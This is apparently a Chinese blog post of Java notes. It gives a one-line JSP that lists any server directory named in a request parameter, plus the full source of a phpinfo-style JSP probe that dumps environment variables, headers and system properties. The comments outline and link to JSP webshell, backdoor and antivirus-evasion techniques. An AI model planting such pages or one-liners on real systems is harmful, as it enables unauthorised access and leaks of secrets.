Java列目录功能:
<%=java.util.Arrays.toString(new java.io.File(request.getParameter("p")).list())%>
==
<%@ page language="java" pageEncoding="UTF-8"%> <%@ page import="java.util.*" %> <%@ page import="java.util.regex.*" %> <%@ page import="java.lang.reflect.*" %> <%! String getRequestFileRealPath(HttpServletRequest request){ String webRoot = request.getSession().getServletContext().getRealPath("/").replaceAll("\\\\", "/"), context = request.getContextPath(), uri = request.getRequestURI(); if(context!=null&&webRoot.endsWith(context+"/")){ return webRoot.substring(0,webRoot.indexOf(context))+uri; } return webRoot+uri; } %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>IsWaf Info</title> <style> body {background-color: #ffffff;color: #000000;} body,td,th,h1,h2 {font-family: sans-serif;} pre{margin: 0px;font-family: monospace;} a:link {color: #000099;text-decoration: none;background-color: #ffffff;} a:hover {text-decoration: underline;} table {border-collapse: collapse;margin-bottom: 15px;width:800px;} .center {text-align: center;} .center table {margin-left: auto;margin-right: auto;text-align: left;} .center th {text-align: center !important;} td,th {border: 1px solid #000000;font-size: 75%;vertical-align: baseline;} h1 {font-size: 150%;} h2 {font-size: 125%;} .p {text-align: left;} .e {background-color: #ccccff;font-weight: bold;color: #000000;} .h {background-color: #9999cc;font-weight: bold;color: #000000;} .v {background-color: #cccccc;color: #000000;} .vr {background-color: #cccccc;text-align: right;color: #000000;} img {float: right;border: 0px;} hr {width: 600px;background-color: #cccccc;border: 0px;height: 1px;color: #000000;} </style> </head> <body> <div class="center"> <table border="0" cellpadding="3"> <tbody> <tr class="h"> <td> <h1 class="p"><%=System.getProperty("java.runtime.name")+":"+System.getProperty("java.runtime.version")%></h1> </td> </tr> </tbody> </table> <br/> <h2>System Environment Variables</h2> <table border="0"> <% Map<String,String> map = System.getenv(); for(String s:map.keySet()){ %> <tr> <td class="e"><%=s%></td> <td class="v"><%=map.get(s)%></td> </tr> <% } %> </table> <h2><%=application.getServerInfo() %> Environment</h2> <table> <tr> <td class="e">SERVER_NAME</td> <td class="v"><%=request.getServerName() %></td> </tr> <tr> <td class="e">SERVER_ADDR</td> <td class="v"><%=request.getLocalAddr() %></td> </tr> <tr> <td class="e">SERVER_PORT</td> <td class="v"><%=request.getLocalPort() %></td> </tr> <tr> <td class="e">DOCUMENT_ROOT</td> <td class="v"><%=application.getRealPath("/").replaceAll("\\\\","/") %></td> </tr> <tr> <td class="e">SCRIPT_FILENAME</td> <td class="v"><%=getRequestFileRealPath(request)%></td> </tr> <% Enumeration<String> e = request.getHeaderNames(); while(e.hasMoreElements()){ String k = (String)e.nextElement(); %> <tr> <td class="e"><%=k%></td> <td class="v"><%=request.getHeader(k) %></td> </tr> <%}%> </table> <h2>System Properties</h2> <table border="0"> <% for(Object s:System.getProperties().keySet()){ %> <tr> <td class="e"><%=s%></td> <td class="v"><%=System.getProperty((String)s)%></td> </tr> <%}%> </table> <br/> <h2>Java License</h2> <br/> </div> </body> </html>
- JspInfo Java环境探针仿phpinfo()
- http://www.ha97.com/5076.html
- http://sourceforge.net/projects/jspinfo/files/1.0/
==
《 “一些Java” 》 有 6 条评论
20个非常有用的Java程序片段
http://www.iteye.com/news/32708
`
1. 字符串有整型的相互转换
2. 向文件末尾添加内容
4. 转字符串到日期
5. 使用JDBC链接Oracle
6. 把 Java util.Date 转成 sql.Date
7. 使用NIO进行快速的文件拷贝
8. 创建图片的缩略图
9. 创建 JSON 格式的数据
10. 使用iText JAR生成PDF
11. HTTP 代理设置
12. 单实例Singleton示例
13. 抓屏程序
14. 列出文件和目录
15. 创建ZIP和JAR文件
16. 解析/读取XML 文件
17. 把 Array 转换成 Map
18. 发送邮件
19. 发送代数据的HTTP 请求
20. 改变数组的大小
`
jsp 小后门
http://rcoil.me/2017/03/jsp%E5%B0%8F%E5%90%8E%E9%97%A8/
`
1. 上传
1.1. JSP一句话
1.2. base64 编码上传
2. 园长blog上的
2.1. 执行系统命令:
2.2. 有回显带密码验证的:
2.3. 下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)
2.4. 下载到web路径:
2.5. 反射调用外部jar,完美后门
2.6. 菜刀马
`
Jsp小后门,Jsp一句话木马后门解密
https://paper.tuisec.win/detail/d1a181b26b6604f
http://www.mumaasp.com/203.html
https://www.sec-wiki.com/news/search?wd=jsp
JSP Webshell那些事 — 攻击篇(上)
https://mp.weixin.qq.com/s/XZvQgh6g69AUNUi_QK9FbQ
JSP Webshell那些事 — 攻击篇(下)
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
WebShell免杀之JSP
https://mp.weixin.qq.com/s/YJtfQTvowVr2azqBWGla1Q
JAVA中如何查看某个class文件的字节码
File to byte[] in Java
https://stackoverflow.com/questions/858980/file-to-byte-in-java
`
byte[] array = Files.readAllBytes(Paths.get(“/path/to/file”)); // Java 7+
`
Java Read File to Byte Array
https://howtodoinjava.com/java/io/read-file-content-into-byte-array/
史上最全教程:idea 将 Java 项目打包 Jar 包,并生成 exe 可执行文件
https://toutiao.io/posts/iyge3cy
https://mp.weixin.qq.com/s/fukk0QBgRg7nCLYj_OJPqQ